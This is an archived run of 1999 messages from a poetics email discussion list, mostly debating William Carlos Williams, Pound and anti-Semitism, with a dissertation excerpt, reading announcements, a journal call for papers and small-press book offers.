In a message dated 7/19/99 11:25:12 PM, [redacted] writes:

<< They "embraced this doctrine of the eternal incognito which implies that a man's external deeds are no guide to his motives. In this case [Heidegger's], the deeds obscured behind the mysterious incognito were, needless to say, these intellectuals' participation in Nazism...But if this impenetrable incognito were the true 'condition humaine,' might not - concealed within their incognito - Heidegger or Schmitt have been secret opponents of Hitler all the time, only supporting him in the world of appearances?" >>

Dear Michael:
I'm not responding on WCW's anti-anything, but am just curious about where you
are quoting Lukacs from.
???,
Ramez Qureshi

↑ Index

267. Tisa Bryant
WCW and Black Women
Tue 20 Jul 1999

Hello all,

Way back at the beginning of the thread on William Carlos Williams, before the crochet party, someone stated that Williams was well known for his deep love and respect for Black women. Would someone kindly pull out (of) the current loops and elaborate on that?

Thanks!

Tisa
Bryant

↑ Index

268. Michael Magee
Re: Complexity and anti-Semitism
Tue 20 Jul 1999

Kent, your critique of my post below is fair enough - particular with regard to my giving Marx short change; quick notes on vulgar Marxism, though I would still say that Marx, as a teleological thinker, can't possibly accomodate the variety of subject positions that, say, a William James can, for better or worse. Certainly Lukacs has real anxiety regarding any sort of fragmented or multifaceted Self - because it complicates the whole issue of intent (and I wouldn't want to read Lukacs' quote out of its very specific post-WWII context). Anyway, I suppose at this point this is neither here nor there: we're going to disagree a bit about Williams, is the upshot. What I would prefer to look for in Williams are the many, many instances in which his symbolic activity unravels the whole logic of anti-semitism: doing so allows me to 1) bring that anti-semitism to light; 2) suggest methods by which it might be critiqued; and 3) stay in keeping with my own thinking on the issue of Selfhood. That's not so bad a way to approach things, is it?

-m.

According to
KENT JOHNSON: > > Michael:
> > I'm not sure where you get the notion that Marx ever had such a
> reductive, binary view of the Self's possibilities. Your quote from
> Dewey (who was very much his own person, but no enemy, really, of
> materialism) is actually a nice encapsulation of Marx's general
> outlook on the human condition, an outlook elaborately laid down
> early on in _The German Ideology_ --and foreshadowed for the first
> time in a substantial way (how's this for ironic complexity?) in his
> "On the Jewish Question," an anti-Semitic essay on the "problem" of
> Judaism: For Marx, famously, "Consciousness does not determine life,
> but life determines consciousness." From Marx's standpoint, there
> are no metaphysical essences or unities involved with the human
> subject... Correct me, please, if I'm misreading your intent.
>
> In any case, there is no desire on anyone's part, so far as I can
> see, to avoid thinking as "complexly" as you on this Williams

> issue (look at all the complex and fascinating posts on this
> thread!). It may be old-fashioned and simplistic, but some of us do
> honestly feel that there is sometimes certain evidence that resists
> deconstruction. And the evidence in this case shows that Williams was
> afflicted with the virus of anti-Semitism (a term you've claimed
> "says nothing") and coughing rather loudly. Honestly, Michael, it
> seems to me that you have launched into a "complex" theorization of a
> problem without first coming to full terms with the problem's
> existence. And to appeal to the "multifarious and multimotivated"
> nature of the individual subject (the full, complex, and
> contradictory flowering of which, by the way, was Marx's vision of
> the free human being under communism) doesn't really shed that much
> light on our topic: Pat Robertson is multifarious and
> multimotivated too, and Dewey would obviously not desire the good
> name of his pragmatism deployed to obfuscate a particularly
> pernicious manifestation of that man's multifariousness! Nor would he
> want it deployed, I'd bet, to water down a particularly noxious
> manifestation in a master poet like Williams.
>
> Kent
>
> Michael Magee said:
>
> > Lukacs, it seems to me, comes out
> >of the humanist aspect of Marx and Marxism: the self is ethical and
> >whole: if not, than it is damaged and unethical (evil). In the
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> >have seemed like the operative poles (though the Franfurt folks & I
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> >Williams, there's John Dewey, there's Kenneth Burke, offering very
> >important alternatives to a Lukacsian perspective on the self which
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> ">individuality itself is originally a potentiality and is realized
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> >didn't *deter* Dewey from critiquing the unity of the self - it was
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> >multifarious, multimotivated construction; and through which he
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> >heightened attention and open-mindedness that an anthropologist (a
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> >to say, that when I ask for complex thinking on this

> >WCW/anti-semitism it is from this latter, pragmatic perspective,
> >though not without knowledge of Lukacsian exasperation.
>
> >-m.
>

↑ Index

269. **Michael Magee**
Re: PS on Williams
Tue 20 Jul 1999

The Lukacs is from the 1956 piece, "The Ideology of Modernism," which among other things, contains an interesting reading of Kafka. -m.

According to Ramez Qureshi:
>
> In a message dated 7/19/99 11:25:12 PM, [redacted] writes:
>
> <<
> They "embraced this doctrine of the eternal incognito which implies that a
> man's external deeds are no guide to his motives. In this case
> [Heidegger's], the deeds obscured behind the mysterious incognito were,
> needless to say, these intellectuals' participation in Nazism...But if
> this impenetrable incognito were the true 'condition humaine,' might not -
> concealed within their incognito - Heidegger or Schmitt have been secret
> opponents of Hitler all the time, only supporting him in the world of
> appearances?" >>
>
> Dear Michael:
> I'm not responding on WCW's anti-anything, but am just curious about where you
> are quoting Lukacs from.
> ???,
> Ramez Qureshi
>

↑ Index

270. **Michael Magee**
Re: Pound/Bollingen
Tue 20 Jul 1999

According to Michael W Bibby:
>

> But what I'd like to ask the list members--and I've already asked H-AMSTDY
> and AFAM-L about this, with no luck--is if anyone knows of any response to
> the Pound debate among African American writers of the period. I'm
> familiar with the Pound/Hughes connection (and I've studied the letters
> from Ez to Hughes at Beinecke)--but does anyone know what other writers
> were saying? Did Wright, Ellison, Dodson, Hayden, Brooks, etc. comment on
> this? I couldn't find anything on it in major black periodicals of the
> day (*Negro Digest*, *Crisis*, *Phylon*). But am I overlooking something?

Michael, I'm guessing that Ellison would have said, sure, give it to him - though I've never come across a specific staement on his part, I know he dug at least the early Cantos and ABC of Reading. There's a fascinating exchange in his 1977 interview w/ Ishmael Reed, Quincy Troupe & Steve Canon (which incidentally, contains some discussion of anti-semitism, with Ellison deftly reminding the younger guys of "those contributions to civil rights and cultural improvement through which Jews play an important and liberating role") where Pound comes up in a discussion of Melvin Tolson. I don't have time to quote it in full but it basically involves Ellison describing meeting Tolson when he was in High School, his subsequent friendship with him, and their discussions about Pound and Eliot. It's in CONVERSATIONS WITH RALPH ELLISON (Jackson: UP of Miss., 1995), p. 370.

-m.

↑ Index

271. Eugene Ostashevsky
ABIE & EUGENE IN SAN JOSE
Tue 20 Jul 1999

FRIDAY, 23 JULY
ABIE HADJITARKHANI & EUGENE OSTASHEVSKY
ARE FEATURED READERS AT BAKATALK,
a weekly open mic IN SAN JOSE

BALKATALK is held at Channel One - 763 the Alameda (near
Stockton) - 408. 280. 1001 - http://www.ch001.com

all shows begin at 8pm. all shows begin with an open mic and end with the featured reader(s).

from sf: take 280 south - exit at 87 (guadalupe expressway) north(?) [stick to the left] - exit at santa clara - turn left onto santa clara/the alameda - channel one is 763 the alameda on your right past the san jose arena.

9X9 INDUSTRIES http://www.paraffin.org/nine/

NINE MUSES
NINE HEAVENLY SPHERES
NINE ORDERS OF ANGELS
NINE NAMES OF GOD

AND AUGUSTINE
AND A PEAR TREE

↑ Index

272. **Lowther,John**
Junkyard Poetics
Tue 20 Jul 1999

---

last night at the weekly APG meeting Mark Prejsnar said something very close to this (my apologies if i've inadvertently misquoted);

"poetry is the use of language that always extends outside the margins of whatever can be explained by theory....you see after years of doing poetry and poetics i've discovered that i'm much better at poetry than poetics and so this is a definition that sort of justifies that... and i really sort of believe that too... you know i was listening in my walkperson to some poems i'd recorded of Ray di Palma's and Coolidge and some other folks and what they were doing seems to bubble up past... to exceed the boundaries of any one explanation---and that's what makes it good poetry... that's why you want to read it again and again."

that thinking about it today
i'm going in multiple directions

on the one hand
i completely agree with what mark says here
which i might rephrase as
    ~great poetry
     cannot be
     compassed in
     an explanation~

but in my other hand
there is a dispute
as for me this quote of mark's
makes assumptions
about the nature of theory
that i don't really share
  (while i do recognize that for most folks the word denotes what almost amounts to a genre-unto-itself, a game even, in which the theorist deploys terminology upon a text in an effort to show both how perceptive they are

and how the text "does not know itself" but is instead a site wherein forces
that sport within the superstructure conspire and clash, controlling and
dictating what is and is not inscribed therein - for the most part
yawningly)
instead (as i've tried to say here in the past)
i see most everything we do
as the consequences of theory
whether of the unconsidered
or considered variety

so around comes my third hand
where i have the following idea
that rather than us being able
state either proposition
  > that poetry exceeds theory, or
  > that theory exceeds poetry
to the exclusion of the other
that they have to both be true

and so digging back in this regress
 (three hands makes it go quicker)
we move back from the poem
to the theory(s) that it slips
out of the grasp of
but which also allowed for the toeholds
on which it ascended
and this strata of theory must
be seen to have evolved out of
consideration of other things
 (poems, for the purposes of this riff)
which in turn exceeded their theoretic wombs
and on and on and
(. . .)
at some point it seems that the two
converge - that the making,
the poesis, is the making of
both poems and theories

further i wonder if
this isn't still the case

if poetry isn't always
embodied theory (or poetics)

if it isn't we
who've ignored that
to the extent that we've let the word
 ~theory~
become synonymous
with a very delimited and extraneous
mode of totalizing discourse

alas,

sad

glad

Theroy Brown

↑ Index

273. Julie Johnson
Re: Mused and Beatriced
Tue 20 Jul 1999

There are more excerpts from the exchange between Gary & Nada in the first issue of Duration online

http://members.xoom.com/Duration/durationmag.html

-----Original Message-----
From: KENT JOHNSON <[redacted]>
To: [redacted]
<[redacted]>
Date: Tuesday, July 20, 1999 9:50 AM
Subject: Mused and Beatriced

I only know the exchange between Gary Sullivan and Nada Gordon through the excerpts printed at East Village Poetry Web. But I've seen enough to wholeheartedly second Chris Stroffolino's very fine appreciation. The work is totally new and idiosyncratic in the greatest of ways. In Sullivan's case (I don't have sound, so can't hear the Gordon videos) it's a bit, as I take it, like Dante on Dexedrine.

Or something hard to explain like that. Truly something.

Kent

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274. Chicago Review
New Chicago Review
Tue 20 Jul 1999

The Latest Issue of CHICAGO REVIEW (45:2) will be in stores soon.

Contents include
A Special Section on ROBERT DUNCAN
--Excerpts from Lisa Jarnot's Biography of Duncan
--Duncan's Introductions to Readings at San Francisco State
--Never-Before Published Photographs
POETRY by
--John Matthias
--Ed Dorn
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ph/fax: [redacted]
e-mail: [redacted]

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275. Steven Shoemaker
WCW's map of pleasure & pain
Tue 20 Jul 1999

For anyone who's interested, here's an excerpt from my dissertation on the Objectivists (University of Virginia, 1997) which may speak to some of the questions that have been raised in relation to Williams lately. The point I would want to make, again, is that even, or rather especially, when we are looking at a

phenomenon as disturbing and oppressive and destructive as the twentieth century's horrifying legacy of anti-Semitism, it's important to make distinctions. And when we're looking back at a particular historical moment, it's important to recognize the distinctions that were made at the time, the one's that constitute that moment's historical complexity. Thus, when I used the term "complexity" in relation to Williams, I had in mind not some "multifariousness" of the self that would absolve one (i.e. Williams) from being held accountable for one's actions and beliefs, but rather the complexity constituted by Williams's specific historical and personal situation. A situation that includes, as others have pointed out, William's own ethnic background, his particular life experience (as, for example, doctor to the immigrant poor), and what we might call Williams's own "map of culture. It's my view that Williams *is* concerned with this sort of mapping, and I think the key text is probably *In the American Grain*, though there's much to be gleaned from the poetry too. The excerpt below starts with a reference to Williams's "Elsie" poem, then briefly discusses IAG and WCW's cultural vision, then moves on to Williams's angry attack on Pound, written in the early forties. As I try to show, it seems to me that two fundamentally different views of culture (i.e. Pound's and Williams's) are coming into conflict here. The full citation for Williams's important but little-known essay on Pound is "Ezra Pound: Lord Ga-Ga!" *Decision* (1941): 16-23.

The poem's central figure, Elsie, "reared by the state" and "sent out at fifteen" to work for "some doctor's family" (presumably Williams's), is able to lay ironical claim to the title "pure product of America" precisely because of the "dash of Indian blood" that contributes to her mixed pedigree. In Williams's theory of American culture, which is in direct conflict with Pound's cultural ideal, miscegenation is the American version of purity. The "ungainly" and tormented Elsie "express[es] with broken / brain the truth about us" (107). In keeping with this view, James Clifford reads this poem and its central figure, Elsie, as emblematic of the "ethnographic modernity" characterizing twentieth-century culture. As Clifford observes, Williams is writing from a stance "off center among scattered traditions," as he is compelled to occupy a "truly global space of cultural connections and dissolutions" (4). But Williams also identifies the resistance to Elsie's "truth" as central to American culture. By the time An "Objectivists" Anthology was published, Williams had already elaborated this point at some length in the poetic prose of In the American Grain (1925), which, like the poems before us now, conducts an examination of American culture, often based on a writing through of the documents of American history. In the American Grain develops a view of American culture that values efforts toward "contact," while criticizing the culture's pervasive fear of the immediacy of "touch." This fear of touch, in Williams's analysis, is closely related to fear of

the ethnic "other": "Do not serve another for you might have to TOUCH him and he might be a JEW or a NIGGER" (177). Further, it is especially tied to the fear of miscegenation:

Do you realize the fascination of the white woman who had twin nigger babies has for us? They accused the woman of having had intercourse with the apartment's colored elevator boy. Her husband abandoned her at once, of course,--charming man. But you know Mendel's law; they discovered there had been a darky in his family six generations before! Be careful whom you marry! Be careful for you can NEVER know. (177)

In Williams's reading, Mendel's law of genetics is something like a law of American culture. It will do no good to deny our hybrid nature as Americans because, in time, even our most "recessive" traits will out, our deepest cultural secrets be revealed. History, then, must acknowledge the importance of cross-cultural contacts: "History must stay open, it is all humanity" (189). The problem with conventional history, according to Williams, is that it "follows governments and never men," "portray[ing] us in generic patterns, like effigies or patterns on sarcophagi" (188). In contrast to Pound's "great man" theory of history, Williams's emphasis on the individual is as likely to figure forth an Elsie as a John Adams. Like Reznikoff's, Williams's revisionist histories would be written from the ground up. In An "Objectivists" Anthology, these "grounded" histories serve, through the mechanisms of ideogrammic juxtaposition, as critiques of Pound's approach to history and culture. Indeed, Williams's criticism of history would have as an offshoot a related critique of Poundian aesthetics, and politics, that is directly relevant to our concerns here. This critique took shape over a period of decades, but didn't receive full expression until 1941, when Williams was outraged to find that he had been mentioned by Pound during one of his radio broadcasts from fascist Italy. Williams's response took the form of an essay entitled "Ezra Pound: Lord Ga-Ga!" in which Williams argued that during his exile in Italy Pound's foolish tendencies had undergone "an apotheosis at the hands of a bigger fool than he," i.e. Mussolini (16). Pound was now "a case for the psychiatrists," but his insanity was "the result of deficiencies, long apparent to his friends, that have finally overthrown him" (16). Williams's diagnosis delves far back into Pound's character and behavior, drawing on theories Williams had been formulating for some time. He begins by applying his own "touch" thesis from In the American Grain. "I have often observed that in certain sensory areas," Williams writes, "Ezra Pound completely lacks perceptivity" (17). In Williams's reading, Pound is a kind of child prodigy, a "spoiled brat" like "all those bright boys and girls who enter college at the age of twelve and . . . go mad soon after reaching puberty." Outside their field of specialty, Williams claims, such geniuses tend to "go astray," and to "fall back on authority" (17). Pound is indeed a "great

poet," "one of the most gifted the New World has produced," but "his great force came from the narrow restrictions of his mind--giving it impact, but, alas, at what a cost" (17). For Williams, "All Pound's perceptions are literary and if taken as such have their value"; but again, there is a corresponding, and overwhelming, deficiency: "What he lacked was a knowledge of man, plain and simple" (20). In his desire for a system of "rule by the few" (20), Pound,

> . . . has never had any love for or understanding of the people themselves, the great leaven of the world without whose tonal tides to support them all men become tyrants and beasts in the end. Ezra had no inkling of such matters, the starved and the defeated, nothing but complete contempt for them. He merely wanted to replace the lying, thieving rule by his own 'enlightened' one . . . (21)

Williams is writing, in 1941, out of a direct concern with the danger of fascism, the danger that "all men [might] become tyrants and beasts in the end." The specific object of his critique at this point is Pound, the man, but before long this analysis brings Williams to a remarkable meditation on the opening of Canto XXX, which has already concerned us here. The Canto is introduced as Williams moves from discussing Pound's generalized contempt for "the people" to examining his enmity for specific ethnic groups, particularly the Jews. At this moment, Williams introduces Pound's "Compleynt," just as Zukofsky had presented it for consideration nine years before in the pages of An "Objectivists" Anthology. "Pound," Williams observes, "has written some of the loveliest verse of our century of which not any has more haunting beauty than the opening lines of Canto XXX" (22). Here Williams quotes the opening of the "Compleynt," drawing particular attention to the lines "Nothing is now clean slayne / But rotteth away." Williams observes: "It is a fascinating theme and a magnificent poem representing, I think, Pound's main philosophic tenet" (22). This tenet, in Williams's summary, runs: "Keep what is 'good,' keep what is lovely. Let all that is ugly be clean slain". Since much of the "world today" is "sloppy and mushy in its very essence," it must be "clean slain, slain--done away with, killed, slaughtered as were the Spanish rebels." This slaughter is an act that would, for Pound, be "about of the same nature as the drainage of an obscure swamp in Africa or the Amazon" (22). Again, the allusion is to Mussolini's swamp-draining exploits, as well as to fascist Italy's role in the bombing of Spanish rebels during the Spanish Civil War. Williams has no difficulty making a direct link between Pound's "Compleynt" against Pity and real-world acts of political violence. He attends to the formal beauties of the poem-as-object, but reads it also in relation to "the dialectical necessities of its day" ("The New Poetical Economy" 269).1 The conclusion to which Williams is brought by this dialectical reading is that Pound's plaint expresses nothing less than the desire to "kill all democracy" (22). As the essay continues, it becomes clear that Pound's "Compleynt" is an important crux for Williams, that

he has read the poem many times, and meditated on it over a period of years. He sees the poem as a kind of key to the dilemma of "how to read" Pound which has continued to perplex so many literary critics. Williams wonders whether the poem's "secret" is perhaps "a pleasure and a pain equally balanced which we cannot resolve" (23). "[T]he beauty of the poem is death," Williams concludes, and what is at stake is "the body of humanity . . . in all its multiplicity and obscurity . . ." (23). For Williams, the resolution of Pound's dilemma requires "perceptions of which [Pound] is largely incapable, humilities which he cannot know" (23). Williams's critique of Pound, and his poem, involves a fundamentally political reading that circles back to Williams's criticism of conventional history and the inter-ethnic fear haunting American culture. As Brian Bremen has argued, Williams's approach to history develops an aesthetic insisting on "the continuation and development of struggles for mutual recognition" (198). Or as Williams put it in In the American Grain, the crucial insight--with the "body of humanity" hanging in the balance--is that "We are, too, the others" (41).

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276. Stephen Ellis
Re: Manifest Destiny
Tue 20 Jul 1999

Mark, I first heard of the Washington/Hebrew/American national language thing from an Israeli; we were both standing in the shadows of the largest free-standing statue of Elvis Presley in the world, just west of the suburbs of Jerusalem. Subsequently I heard the same bit several times more, both in Israel and across the river, in Jordan; quoting it seemed most to be an attempt on the part of various opinion-holders to ground the legitimacy of Israel as a sanctioned state in the previous preference of a person of stature (what DID Elvis stand on Israel anyway?). Now I see viz Hilton's recent post

that the Washington version may be some sort of rough metonym for the more detailed report Hilton DOES supply, luckily for me, since I was rather stuck on your comment re: Washington's being a Deist, as if that made some difference in the both larger yet still local (& locateable) "millennarian &/or escahtological imperialist" scenario. & I do recognize that the American "Revolution" wasn't just slugging it out over a pot of molasses and a glass of Jamaican rum.

& no, I'm not "saying that everything is the same and no differentiation is possible." I'm saying that SAYING THAT "everything is the same and no differentiation is possible" is very much the matter of state & media sanctioned "plurality" in which nothing is "the same" because it's all plural (sounds like some kind of semantic problem to me), ie., "the same". Look at what's called the

Global Economy - what IS it? Or more essentially, who's it FOR? It seems an essential question, especially in light of the contest this List also takes part in, ie., what the new riddles are, who will fix them, what the fix IS, how one may get in and/or out of them.

Ugly politics are still what poets have to operate in, if not "out of". If good art permits of ugly politics, how good is it? If poetry is thought to be some kind of all-encompassing cross-weaving of the subjects and objects of THIS world, yet disavows it for the referentially pointed and possibly parallel THAT one, how does one keep the "stretch" of it "clean"? Via some sort of critical yet perpetually generous "spirit"? & who's to the good for it? Ie., where's the community? Is it limited to the ardent hearers of this, and LIKE, "lists"?

Anyway, thanks for your substantial additions/corrections, Hilton, if you're there; I look forward to your book.
- S E

> *From: Mark Weiss <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: Manifest Destiny*
> *Date: Fri, 16 Jul 1999 10:50:16 -0700*
>
> *I hesitate to respond to this. Are you saying that everything is the same and no differentiation is possible?*
>
> *Your interpretation of the American Revolution seems rather simplistic, but let that go. I'd love to see some documentation of Washington's thinking about making Hebrew the national language--it's new to me. And as to his interest in the Book of Revelations--I thought he was a deist.*
>
> *At 06:56 AM 7/16/99 PDT, you wrote:*
> *The "field" of racism re: Williams, Pound & Eliot extends beyond the bounds*
> *of a specific anti-semitism; ancient cultic law is not based on tolerance.*
> *Not to be overly "Hebraic" about it, the fact remains that the murder of former Israeli Prime Minister Rabin had, in some interpretations, rabbinical*
> *sanction. Semitic law in general gives sanction for murder, if evidence exists - and suspicion is often thought sufficient evidence - that a person*
> *presents a threat to the security of the clan at large. We still operate under a similar system, as a glance at who's who on any Death Row will tell*
> *you. Enemies of the State. America wasn't founded to protect the interests*
> *of any sense of the common man or to the common good; it was founded to*

*protect the interests of a wealthy group of molasses bootleggers operating
out of the Carribbean. Interesting in this light to recall that Washington
initially considered making Hebrew the national language, probably having to
do with aligning America with the moral authority represented by the rise of
"Israel" at the end of the world in the Book of Revelations. Nineteenth
century Manifest Destiny is a pure product of nothing but. In fact, the
genetic/hereditary science of Eugenics was a 19th century American
invention, and the Sterilization Laws passed in 1907 by the State of Indiana
"to prevent procreation of confirmed criminals, idiots, imbeciles and
rapists" was the prototype for Nazi-funded scientific missions to find
"reason" for persecution of Jews. WCW, Pound, Eliot & Co. - "us all" too -
are the inheritors of this tradition. Given this, the accusation that these
guys were "anti-semitic" seems trite; the more essential question lies in
the extent to which they - or any of us - gave (or in our case, continue to
give) sanction to state-infected suppositions toward "liberation." Calling
WCW anti-semitic merely sweetens the lie that we in fact DO have the moral
authority to "call him down," but what phantom will rise from the process of
so doing? Or more specifically, though maybe slightly off the mark, what
are the relations between poetic form, natural proportion and human law, for
example, that permit the existence of a sort of "screen" or "grate" through
which we may have intimations of the smell of death, but no actual access to
the causatively related "killing floor"? When the feeling of "threat" is
multiplied into an analogical "house of mirrors" (and perhaps of cards), how
do we identify it, ie., how do we get into the basement over which the
killing floor is laid?
S E*

*From: KENT JOHNSON <[redacted]>
Reply-To: UB Poetics discussion group*

<[redacted]>
To: [redacted]
Subject: Purity
Date: Wed, 14 Jul 1999 11:08:33 -0500

May I indulge in some self-defense, please?

Stephen Vincent wrote:

Kent Johnson's righteousness - or at least that tone - about nailing WCW to an anti-Semitic cross seems to me to indulge an easy dichotomy. I am not sure if Johnson's trying to throw the Doctor out with the bath water, but I always get uncomfortable when anyone (myself included) goes to the Holy ground with an implicit claim of purity - what ever might be the issue. I would go as far to say that my opposition to anti-Semitic, anti-Palestinian, racist, homophobic or any other abusive behavior involves a personal acknowledgment and desire to exorcise some part of my person that has inherited or learned those behaviors

Stephen, if I point out, as I did, that there is textual evidence of a strong anti-Semitic strain in Williams, why is this "self-righteousness"? I responded to what I felt was a significant blind spot in Billy Little's typically-provocative post, and did so in a reasonable way, I thought. Then there were four indignant responses, all of which strongly denied the applicability of the term, a couple of these calling my post "ridiculous." So I responded, pointing people to some specific evidence, and now am accused by you of being self-righteous, by implication blind to my own likely racism, and of trying to throw WCW "out with the bathwater."

I _love_ Williams. If he was more of a prick, more humanly sinful than the canon-makers have let on, that does nothing to diminish the greatness of his poetry. And in some ways the darkness makes the greatness all the more fascinating! The record is the record (which, yes, is open to differing interpretations), and I think it's best to talk about it without the innuendo you interject above.
Kent

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Get Free Email and Do More On The Web. Visit http://www.msn.com

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277. KENT JOHNSON
Poets on Verge of Breakdown
Tue 20 Jul 1999

The deadline for submissions is July 31, but the statement struck me as extremely interesting, even entertaining, so thought I would forward. Susan Howe mentioned here, John Tranter and Jacket, the "illegibility" of "American excess," etc. Kent

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A N G E L A K I

journal of the theoretical humanities

Special Issue 5.1
(for publication march/april 2000)

POETS ON THE VERGE OF A NERVOUS BREAKDOWN
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meaning, which has gained general currency: the outright rejection of modernism as being idealist, elitist, reactionary, inaccessible, and irrelevant. If postmodernism means the breakdown of distinctions between high and low forms of culture, late modernism's formal difficulty puts it squarely in the high culture camp. Post-modernist poetry, on the other hand, turns away from avant-garde experimentation. Instead, it reestablishes the lyric voice, either through ironic parables of the self or as the expression of multicultural identities. It endorses the local, the particular, even the provincial, as the representation of vital if marginalized communities, and it does so without the modernists' desire to sublate the regional into a unified humanist locus. Value is placed on the lucidity and directness with which the poet communicates, allowing readers to identify with representations of their own community or to empathize with others. Poetry is a means - one among many - by which local identities protect themselves from the homogenizing power of the culture industry.

In this light, poetry which suspends identification looks as if it has never managed to break free from the Coleridgean belief in a clerisy of readers only able to grapple with the dialectics of the text because highly attuned to the history and theory of poetic forms. In a world where marginalized voices are fighting for recognition, late modernism stands accused of evading its democratic responsibilities. Far from inspiring readers to engage with questions of identity and difference, these barely legible texts could be said to encourage resignation and indifference in anyone except those who are well educated and already disposed towards the 'difficult matter' of modern art. In contrast, postmodern poetry claims humanist inclusivity without the rhetoric of aesthetic unity. It aspires to what Simon Armitage and Robert Crawford call in their recent Penguin anthology 'the democratic voice'.

This new poetic democracy is not without its theoretical and institutional problems. Postmodernism argues for the irreducibility of experience, its essential difference from community to community. Yet in this context it requires that all experience be rendered in an identifiable form. In Britain, for example, poetic legitimacy is associated with a deeply ingrained suspicion of 'foreign' influences, so that even where regionalism is valued it tends to be invoked as a populist defence against European experimentalism and American excess. And it is not always clear whether a poet's work is given as regional or radically marginal because it engages with the linguistic and political pressures of non-centralized identity, or simply because the poet has a tenuous association with a marginal site. In _Devolving English Literature_, Robert Crawford wants to affirm the virtues of 'provincial' writing against what he sees as a dominant and exclusive metropolitan culture; yet his preferred exponents of regional identity tend to be poets who, although having Welsh, Irish, or Scottish family origins, are granted cultural legitimacy by conforming to the only poetic 'voice' acceptable to metropolitan publishing houses such as Faber: an ironic lyric style relatively untroubled by the translatability of language or personal experience and endorsing aptness of metaphor as the fundamental mark of poetic value. Crawford's provincial/metropolitan opposition is itself bogus in that it elides the problem of complicity: the notion of the provincial is an invention of the metropolitan bourgeoisie, and its use calls into question Crawford's ability to analyze the politics of poetry beyond a centralist point of view. The position here is both metropolitan and imperialist in that 'provincials' become the subjects of sentimental regard as long as they communicate in the accepted terms; otherwise, they are ignored or denounced. The marginal is invited into the mainstream or preserved as marginal value by the mainstream only when it gives up its attachment to difference.

For late modernists, on the other hand, difference cannot be translated, only approximated. The poem is a construction which makes the reader aware that every translation is an appropriation. It could be argued, however, that the implied reader of this poetry is just as 'metropolitan' as Crawford's democrat. But, while the two positions are not as clear cut as our description suggests, they do represent fundamentally opposed views of poetry's function in modern society. For what we are calling late modernism, poetry can only become a radical force by resisting consumer culture and its appeal to the 'short attention span' of its audience; for postmodernism, poetry can only prevent itself from being marginalized or completely ignored by competing with more marketable forms of cultural production. While the former continues to be reviled by the mainstream publishing houses and literary organs as too rarefied to be of popular interest, the latter is itself beginning to fall foul of market pressures. The current hoo-haa over Oxford University Press's axing of its poetry list shows that the mainstream is somewhat more marginal than its proponents have imagined.

Even so, poetry is flourishing as never before through public readings, small publishers and magazines, and via the Internet. Although these networks might be said merely to affirm poetry's marginalized status in an era of global markets, they nevertheless lay claim to the cultural value of independent means of production. (A modern irony being that small-press material has frequently out- sold 'major' publications.) And, if these networks originate from local or marginal groupings, they are anything but narrow in their reach. They have inaugurated a new internationalism in poetry which goes some way to confound the old coteries and critical demarcations. The use of new technology has revitalized traditional media by lowering production costs and has created alternative forms of distribution. Australia, for example, has become a new poetic centre. Through magazines such as John Kinsella's _Salt_, James

Taylor's _Boxkite_, and (on the Internet) John Tranter's _Jacket_, it has increased international recognition for Australian writing while creating strong links with poets in France, Britain and the United States.

The aim of this issue of _Angelaki_ is to collect a wide range of critical essays addressing the current state of international poetry. We invite contributions addressing the general questions raised above, and we hope to encourage debate about the history and ideology of modern poetic forms and institutions. Far from being taken as read (which is unlikely considering the partisan nature of the subject), the remarks made here should be seen as the springboard for argument and clearer definition. The issue will also include new poetry.

* * *

Submission Information
~~~~~~~~~~~~~~~~~~~~~~~

Angelaki is a peer-reviewed journal.

FINAL MATERIAL (full essays) for peer review by JULY 31, 1999.

Essays must be sent in duplicate (double-spaced, paginated) to:

Address:
Dr Anthony Mellors
59 Orchard Drive
Durham DH1 1LA
UNITED KINGDOM

* * *

About ANGELAKI
~~~~~~~~~~~~~~~

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For further details of the journal and contents
listings please visit:
http://www.carfax.co.uk/ang-ad.htm

"Since its inception in 1993, the journal _Angelaki_
has established itself as a leading forum of
theoretical reflection, providing a practical
refutation of all those who would celebrate 'the end
of theory.' Whether it is focused on thematic issues
of the most varied nature, introducing thinkers to
English-language readers, or treating a variety of
problems in open issues, _Angelaki_ challenges the
complacency of the self-evident. Required reading for
the next millennium." Samuel Weber

Gerard Greenway
[redacted]

managing editor
A N G E L A K I
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Taylor & Francis, Carfax
http://www.carfax.co.uk/ang-ad.htm

44 Abbey Road
Oxford OX2 0AE
United Kingdom
Fax: [redacted]
Email:
<[redacted]>
URL:
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278. **pete spence**

Re: Hannah Weiner's COUNTRY GIRL and sundry items

Tue 20 Jul 1999

>
>the last notification of Hanna's WRITTEN IN/THE ZERO ONE had about 30
>people
>interested e-mailing me for information on how to get!! seems in the end

>only 2 could overcome the information and actually order!! there are still
>60 copies for sale!!
>
>also i have ready Hannah's COUNTRY GIRL the second of four early journals
>and written in 1971
>
>you can now order this book from LOOK!! POETRY!!
>
>by sending $5 U.S. cash to:
>
>pete spence
>40 bramwell st
>ocean grove
>3226
>victoria australia
>
>airmail your letter otherwise it will take about three months!!
>i will airmail you back the book.
>
>if you want both WRITTEN IN/THE ZERO ONE and COUNTRY GIRL then $10 U.S cash
>will see it done
>HISTORY of:
COUNTRY GIRL was to come out through POST NEO PUBLICATIONS in 89/90 but was
shelved along with a lot of other things (burn out???) i'd a lot of trouble
with the person typesetting the book who kept adding their own comments into
the ms wyche caused some embarrasments re Hannah doing checks on the setting
in the end Norma Pearse who i have lived with these past 16 years set it and
Hannah ok the setting. i'm releasing it now under the imprint LOOK!!
POETRY!! wyche normally published books of visual poetry, the book is now
available for order (see above)and will be made to order rather than printed
in a long print run. pete spence

a couple of other POST NEO titles that i have some copies of are: KARL
KEMPTON's 4plus3 ,,$5 US cash.

BERNI JANNSEN's EXTATIC $5 US cash. Berni is the Lyn Hejinian of Australia.

also in January of this year i published Cornelis Vleeskens' translation of
Jan G Elburg's THROUGH THE EYE OF THE SCISSORS
the back cover reads:
jan g elburg's scissors

produced this text sometime
in the 60's 7 it was published
in the 2nd ed of PRAATJES KIJKEN
by Meulenhoff in 1974
Cornelis Vleeskens did
this translation in 1990
7 Raimondo Cortese set it
set it for pete spence at the time
we've played with it over the years
and it is now finally printed in 1999.

published by LOOK!! POETRY!!

TYPOGRAPHIC POETRY.

THANKS pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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279. **Jeffrey Jullich**
The Germ no.3 -Reply
Tue 20 Jul 1999

Macgregor Card:

I look forward to picking up a copy of Germ 3 at the St. Mark's Bookstore (NYC), probably this weekend. I phoned and they have it there already.

You also write:

>>> We're always looking for submissions . . . Please send work to both addresses

